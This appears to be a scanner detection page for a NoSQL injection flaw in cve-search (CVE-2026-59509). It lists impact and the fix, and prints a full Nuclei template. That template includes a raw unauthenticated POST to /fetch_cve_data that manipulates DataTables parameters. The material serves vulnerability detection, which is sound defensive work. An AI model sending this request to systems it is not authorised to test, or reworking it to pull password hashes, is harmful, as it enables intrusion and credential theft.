cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection

criticalseverity

9.2CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.

Impact

An unauthenticated network attacker can read unintended MongoDB data, including administrative usernames and password hashes when local authentication is enabled, by controlling DataTables query parameters.

Fix

Upgrade cve-search to v6.0.1 or later.

How to confirm it

Send: POST /fetch_cve_data
Positive when: contains_all(body, "\"recordsTotal\"","\"data\"") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-59509 -u <target>

The full check

id: CVE-2026-59509

info:
  name: cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection
  author: str4k3r
  severity: critical
  description: |
    cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.
  impact: |
    An unauthenticated network attacker can read unintended MongoDB data, including administrative usernames and password hashes when local authentication is enabled, by controlling DataTables query parameters.
  remediation: |
    Upgrade cve-search to v6.0.1 or later.
  reference:
    - https://github.com/cve-search/cve-search/issues/1217
    - https://github.com/cve-search/cve-search/pull/1218
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59509
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
    cvss-score: 9.2
    cve-id: CVE-2026-59509
    epss-score: 0.01426
    epss-percentile: 0.73179
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 1
    vendor: cve-search
    product: cve-search
  tags: cve,cve2026,cve-search,mongodb,nosql-injection,unauth

http:
  - raw:
      - |
        POST /fetch_cve_data HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        draw=1&start=0&length=1&retrieve=cves&search%5Bvalue%5D=&search%5Bregex%5D=false&columns%5B0%5D%5Bdata%5D=password&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"recordsTotal\"","\"data\"")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from